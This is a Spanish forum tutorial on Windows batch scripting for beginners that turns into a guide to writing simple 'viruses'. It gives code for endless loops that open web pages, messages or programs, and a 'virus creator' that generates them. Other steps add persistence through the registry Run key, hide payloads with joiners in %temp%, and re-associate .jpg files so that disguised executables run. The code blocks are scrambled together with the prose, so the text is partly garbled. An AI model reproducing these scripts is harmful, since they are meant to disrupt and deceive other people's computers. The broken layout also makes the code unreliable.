Título: tuto batch para principiante(en contruccion) Publicado por: krackwar en 25 Diciembre 2007, 23:53 pm ola, no se donde va esto pero este fue el lugar mas indicado que encontre para ponerlo bueno si va en otro lado los moderadores lo cambiaran.
empesemos. bueno batch komo ustedes sabran es lo mismo que ms-dos las preguntas que se pueden hacer son las siguientes ¿como creo un archivo batch ? bueno esto se puede hacer escribiendo todo lo que kontendra el batch en bloc de notas i depues poner guardar como i en nombre poner nombredelarchivo.bat o nombredel archivo.cmd desde windows 2000 para arriba(nome acuerdo bien si es del 200 para arriba o desde el xp) ¿por que se guarda como archivo.bat i no archivo.batch? bueno esto es por que en la consola de ms-dos no se pude poner mas de 3 letras en la extensión i x esto desidieron poner las 3 primeras letras de batch osea bat ¿este idioma de programacion es bueno para empezar? si,este idioma no es mui complicado por lo que es un buen idioma para empezar a programar despues de manojar este recomiendo seguir con visual basic. ¿que es lo que se puede hacer con este idioma? puedezs hacer desde una encuesta asta editar el registro ¿se pueden hacer troyanos con batch? no, no se puede pero se puede hacer artas cosas como virus, worms,etc... bueno empecemos la guia 1º_ empecemos con algo facil como hacer una pregunta i ocupar la respuesta Código: @echo off set /p respuesta=komo te llamas? echo te llamas %respuesta% pause exit explicaremos esto "echo off" se usa para que muestre sola la respuesta osea que no aparescan los comandos Código: ej:si pones set /p rata=ola?va a mostar solo ola? "set /p" se usa para establecer una variable osea si pones Código: set /p respuesta=komo te llamas? la varible es respuesta que esto va a ser = a lo que eskribas Código: ej:si escribes de respuesta ola raspuesta va hacer = a ola esto lo puedes ocupar para poner un mensaje Código: ej: echo tu nombre es %respuesta% (siempre ai que enserrar la palabra en % cuando se ocupa para hacer algo) esto va a mostrar un mensage que dira tu nombre es i la respuesta que disteejemplo si diste de respuesta juan va a mostar Código: tu nombre es juan (uno puede ocupar cualkier palabra emvves de respuesta)ejemplo:puedes ocupar pollo i kedaria a si Código: set /p pollo=tu nombre es? siempre asegurate de que sea la misma palabraecho tu nombre es %pollo% "pause" se ocupa para que la persona tenga que apretar una tecla para continuar "exit" se ocupa para salir del programa 2º_ imventaremos un archivo que kree un archivo que si lo abres va a aparecer un mensaje diciendo ola el codigo seria Código: @echo off vamos a explicarecho msg * ola>> mensaje.bat exit bueno la mayoria de la sintaxis ia la explique pero vamos a explicar lo que no explique "echo msg * ola>> mensaje.bat"con esto digo que kree un programa que al abrirlo apareska un mensage esto se ase asi "echo lo que va a estar escrito dentro del archivo >>ruta/nombre del archivo.extension(si no se pone la ruta se crea el archivo en la misma ruta del archivo originalosea el creador). 3º_vamos a unir el primer ejecicio con el segundo este archivo lo que va hacer que kree un archivo que muestre un mensaje que diga lo que kieras kedaria asi: Código: @echo off bueno lo que ase es crear msg2.bat que diga msg * mensaje que kieresset /P mensaje=que kieres que diga el mensaje? echo msg * %mensaje%>>msg2.bat exit i al ser .bat muestra el mensaje si kieres aaser mas completo esto puedes hacer esto: Código: @echo off esto lo que ase es crear el archivo i sobre escribirlo ia que no se puede hacer de esta manera:set /P mensaje=que kieres que diga el mensaje? echo @echo off>>msg2.bat echo msg * %mensaje%>>msg2.bat echo exit>>msg2.bat exit Código: set /P mensaje=que kieres que diga el mensaje? 4º_aora lo que vamos a hacer es un virus simple mas lamados bucleecho @echo off msg * %mensaje% exit >>msg2.bat exit :xD este lo que ara es abrir una pagina consecutivamente esto kedaria asi: Código: @echo off esto lo que dice es:pagina start www.yelcho.cl goto pagina ":pagina" es como una "direccion" que se le asigna al comando siempre tiene que aver antes dela "direcion" ":" para que sepa el programa que es la "direccion" que se le asigna al comando "start" es para iniciar algo por ejemplo en este caso dice start www.yelcho.clestodice que abra una ventana de internet de la pagina www.yelcho.cl "goto" significa ir a i al poner la "direccion" este va a esa "direccion" en resumen abre www.yelcho.cl idespues ase que se repita la ccion infinitas veces 5º_creador de virus este programa lo que ara sera crear un virus simple como el anterior klaro que dara opciones i con titulo el kodigo kedaria asi: Código: @echo off aki ai 2 comandos nuevos uno que es "cls" este se ocupa para limpiar la pantallatitle creador by .::krackwar::. set /p name=kual kieres que sea el nombre del virus?(sin la extension) echo aprieta cualquier tecla pause>nul cls set /p car1=que pagina kieres que se abra x siempre??(ej:www.pag.com) echo @echo off>>%name%.bat echo :pagina>>%name%.bat echo start %car1%>>%name%.bat echo goto pagina >>%name%.bat msg * by .::krackwar::. msg * xao exit i el otro que es "title" que se usa para ponerle titulo a el archivo e ej: Código: title "aki va el tiulo" esto aii que ponerlo debajo del echo off ia que si no se be cuando escribe title "titulo"i se ve feo :¬¬ .bueno esto de ejecutar una pagina web consecutivamente se puede hacer tambien con algun programa , mensaje ,etc... ej para un mensaje : Código: @echo off si kieren aserlo kon el ::mensage start msg * "el mensaje kee kkieren " goto mensaje Código: @echo off emves de poner la pagina pones msg * "el mensaje que kieres" o pueden aserle esta modificacion :title creador by .::krackwar::. set /p name=kual kieres que sea el nombre del virus?(sin la extension) echo aprieta cualquier tecla pause>nul cls set /p car1=que pagina kieres que se abra x siempre??(ej:www.pag.com) echo @echo off>>%name%.bat echo :pagina>>%name%.bat echo start %car1%>>%name%.bat echo goto pagina >>%name%.bat msg * by .::krackwar::. msg * xao exit Código: @echo off para ejecutar un aarchivo te tienes que saber la ruta del archivo o si ocupas un joiner i este descomprime los archivos en la carpeta de archivos temporales por ejemplo si usas un joimer i este descomprime los archivos en la carpeta temporal kedaria asi: title creador by .::krackwar::. set /p name=kual kieres que sea el nombre del virus?(sin la extension) echo aprieta cualquier tecla pause>nul cls set /p car1=que mensaje que kieres mostar por siempre??(modificacion 1) echo @echo off>>%name%.bat echo :pagina>>%name%.bat echo start msg * %car1%>>%name%.bat(modificacion 2 ) echo goto pagina >>%name%.bat msg * by .::krackwar::. msg * xao exit Código: @echo off si kieres aserlo con el creador seria::programa start %temp%/archivo(el nombre del archivo tiene que ser el nombre del archivo original por ejemplo si combinaste una foto que se llamaba lol.jpg i el archivo se llamava jaja.exe i los uniste i el archivo final se llamaba nose.exe entonces kedaria asi %temp%/jaja.exe) goto programa Código: @echo off bueno explicare un poco que es %temp%, %temp% es la direccion de la carpeta donde se guardan los archivos temporales osea los que dura un tiempo x ejemplo kuando usas el word i no guardas nosierto que = esta tu archivo en archivo/nose.doc title creador by .::krackwar::. set /p name=kual kieres que sea el nombre del virus?(sin la extension) echo aprieta cualquier tecla pause>nul cls set /p car1=que programa kieres que se ejecute por siempre??(modificacion 1) echo @echo off>>%name%.bat echo :pagina>>%name%.bat echo %temp%/%car1%>>%name%.bat(modificacion 2 ) echo goto pagina >>%name%.bat msg * by .::krackwar::. msg * xao exit bueno este archivo se almacena en la carpeta %temp%, bueno porke ponemos %TEMP% I NO SIMPLEMENTE TEMPORALES bueno esto es porke si kieres as3r esto tendrias que sabeerte toda la ruta i esta puede variar segun la pc. bueno asi kedaria si ocuparas un joiner i si lo isieras normalmente te tendrias que saber la ruta del archivo ej: Código: :programa2 bueno i con el creador kedaria asi:ruta/arhivo goto programa2 Código: @echo off title creador by .::krackwar::. set /p name=kual kieres que sea el nombre del virus?(sin la extension) echo aprieta cualquier tecla pause>nul cls set /p car1=que programa kiers que abra x siempre??(anotar con ruta ej: ruta/archivo) echo @echo off>>%name%.bat echo :pagina>>%name%.bat echo %car1%>>%name%.bat(OJO) echo goto pagina >>%name%.bat msg * by .::krackwar::. msg * xao exit Título: Re: tuto batch para principiante(en contruccion) Publicado por: krackwar en 15 Enero 2008, 03:16 am 6º_bueno crearemos algo parecido al ej 4 pero estese iniciadra kada ves que se ejekute windows
el kode kedaria asi: Código: reg add hklm\software\microsoft\windows\currentversion\run /v b /t reg_sz /d %0 /f explicare esto bueno reg add se ocupa kada ves que nesesitas agregar algo al registro:bucle start www.gooogle.com goto bucle hklm\software\microsoft\windows\currentversion\run es la ruta del registro a la que se le agrega un reg_sz kon nombre b i kon kontenido %0(es la ruta del archivo del archivo ejecutado se pone %0 porke esto es = a la ruta del archivo ejecutado) el /v en para poner el nombre el / t para elegir el tipo de dato ingresado al registro el /d es para el kontenido de el dato i el /f es para forsar a escribirlo lo otro antes de que se me olvide la ruta es la ruta en que estan los archivos que se inician kada ves que windows inicie 7º_emviar un batch con la extension .jpg bueno lo que haremos como dice el titulo es que el batch tenga la extensiobn .jpg i que aun asi se ejecute como si fuera un .bat . Bueno para poder hacer esto la persona que le emvies el batch con la extension .jpg tiene que ejecutar un batch.bat antes que el code del batch.bat keddaria asi : Código: @echo off bueno explicare un poko este code "assoc" se ocupa para asociar una extension a algo que puede ser a un programa para que el archivo se abra con ese programa o a un tipo de programa en este caso la estamos asociando a un batfile osea que se ejecute = como lo aria un bat bueno con ese code ya quedaria listo para qque pudas ejecutar el batch.jpg i que se abra como un bat normaly no como un jpg .Esto mucha gente lo preguta otro ejemplo :assoc .jpg=batfile exit Código: @echo off hay asociariamos un archivo .jpg a exefile y ariamos que se ejecute como un .exe .assoc .jpg=exefile |